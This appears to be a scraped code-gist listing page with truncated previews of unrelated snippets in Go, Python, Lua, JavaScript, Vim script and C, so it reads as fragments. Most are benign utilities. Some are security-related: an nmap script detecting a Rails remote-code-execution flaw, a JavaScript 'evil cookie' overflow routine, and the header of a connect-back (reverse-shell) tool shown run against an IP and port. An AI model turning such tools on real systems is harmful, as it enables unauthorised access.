This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"os" | |
"os/signal" | |
) | |
func main() { | |
// 处理一下Ctrl+c |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from distutils.core import setup, Extension | |
ext = Extension('system', sources=['system.c']) | |
setup(name='system', version='1.0', description='Test description', ext_modules=[ext]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def hexstr(s): | |
""" | |
turns ABCD | |
into | |
41424344 | |
""" | |
tmp=[] | |
for c in s: | |
tmp+=["%2.2x"%ord(c)] | |
return "".join(tmp) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"log" | |
"net" | |
"os" | |
"os/signal" | |
"sync" | |
"syscall" | |
"time" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local http = require "http" | |
local shortport = require "shortport" | |
local stdnse = require "stdnse" | |
local string = require "string" | |
local vulns = require "vulns" | |
description = [[ | |
Detects Ruby on Rails installations that are vulnerable to CVE-2013-0156, This critical vulnerability allows unauthenticated attackers to execute code remotely. | |
This is the nmap/lua port of the metasploit scanner module from hd moore |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
#coding=utf-8 | |
from xml.dom import minidom as md | |
from datetime import datetime | |
import re | |
from urllib2 import urlopen | |
from os.path import basename | |
from socket import setdefaulttimeout |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Most browsers limit cookies to 4k characters, so we need multiple | |
function setCookies (good) { | |
// Construct string for cookie value | |
var str = ""; | |
for (var i=0; i< 819; i++) { | |
str += "x"; | |
} | |
// Set cookies | |
for (i = 0; i < 10; i++) { | |
// Expire evil cookie |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" | |
" => Encoding | |
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" | |
set encoding=utf-8 | |
set fileencodings=ucs-bom,utf-8,gbk,euc-jp,euc-kr,big5,gb18030,latin1 | |
function! s:CheckGBLocale(locale_var) | |
let locale_var=toupper(a:locale_var) | |
if (match(locale_var, '.GBK$') != -1 || match(locale_var, '.GB18030$') != -1 || match(locale_var, '.GB2312$') != -1) | |
return 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def http_request(url, | |
data = {}, | |
header = { | |
# 默认伪装成IE9 | |
"User-Agent" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/4.0)", | |
"Connection" : "Close", | |
# 避免proxy cache页面 | |
"Pragma" : "no-cache", | |
"Cache-Control": "no-cache, max-age=0, must-revalidate" | |
}): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Connect back tools | |
compile under linux | |
2003-07-11 now support FreeBSD .. | |
now support user define echo value | |
[bkbll@mobile bkbll]$ uname -a | |
Linux mobile 2.4.18-3custom #1 Èý 11ÔÂ 20 19:46:20 CST 2002 i686 unknown | |
%uname -a | |
FreeBSD 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 GMT 2002 murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC i386 | |
[bkbll@mobile ownprog]$ ./cntoltty 192.168.8.110 5555 |
OlderNewer